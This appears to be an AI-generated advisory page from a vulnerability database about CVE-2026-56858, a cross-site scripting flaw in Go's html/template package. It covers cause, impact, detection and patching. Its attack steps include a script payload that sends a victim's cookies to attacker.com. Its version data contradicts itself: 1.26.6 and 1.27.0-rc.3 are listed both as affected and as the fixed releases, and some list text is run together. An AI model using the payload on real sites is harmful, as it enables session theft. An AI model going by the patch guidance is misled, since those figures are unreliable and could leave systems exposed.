
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-56858 is a Cross-Site Scripting (XSS) vulnerability in the Go standard library's html/template package. Pathological inputs can prematurely close an unescaped / character, allowing attacker-controlled data to inject arbitrary HTML or JavaScript content into rendered pages. The vulnerability affects Go versions prior to 1.25.13, 1.26.0–1.26.6, and 1.27.0–1.27.0-rc.3. It was published on August 13, 2026, with a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat Bugzilla).
The root cause is improper neutralization of user-controllable input during web page generation (CWE-79). Specifically, the html/template package fails to correctly handle pathological inputs containing unescaped / characters, allowing an attacker to break out of the expected template context and inject arbitrary content. The attack is network-based, requires no authentication or special privileges, but does require user interaction (e.g., a victim visiting a crafted page). The vulnerability is tracked upstream as Go issue #80435 and fixed via code change CL/807100 (GitHub Advisory, Red Hat Bugzilla).
Successful exploitation allows an unauthenticated attacker to inject arbitrary HTML and JavaScript that executes in the context of other users' browsers, resulting in low confidentiality and integrity impact with no availability impact. The changed scope indicates that the vulnerable component (the Go application) can affect resources beyond its own security boundary, such as the victim's browser session. Potential consequences include session hijacking, credential theft, and unauthorized actions performed on behalf of the victim user (GitHub Advisory).
There is no known public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the time of publication (GitHub Advisory). The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable. The EPSS score is approximately 0.199–0.263%, placing it in the 18th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.
html/template package that renders user-supplied or externally influenced data, running on a vulnerable Go version (< 1.25.13, 1.26.0–1.26.6, or 1.27.0–1.27.0-rc.3)./ character, breaking out of the expected HTML context (e.g., injecting </ or similar sequences that confuse the parser).<script>document.location='https://attacker.com/?c='+document.cookie</script>) within the crafted input so it is rendered as executable markup./ sequences, HTML tags, or JavaScript fragments in input parameters; error logs from the Go application related to template rendering anomalies.html/template package; browser console errors related to unexpected script execution.Upgrade to a patched version of Go: 1.25.13 or later (for the 1.25.x branch), 1.26.6 or later (for the 1.26.x branch), or 1.27.0-rc.3 or later (for the 1.27.x pre-release branch). No configuration-based workaround is documented; upgrading is the recommended and only reliable remediation. Organizations should also audit applications using html/template with user-supplied data and consider implementing a Content Security Policy (CSP) as a defense-in-depth measure (GitHub Advisory, Red Hat Bugzilla).
The Go team announced the fix via the golang-announce mailing list, and the issue was also reported to the oss-security mailing list shortly after disclosure (golang-announce, oss-sec). Red Hat filed a high-severity bug report and engaged a large number of product security engineers to assess impact across their portfolio (Red Hat Bugzilla). SUSE and openSUSE issued security advisories and updates, and the Yocto Project security list also flagged the issue for embedded Linux maintainers.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."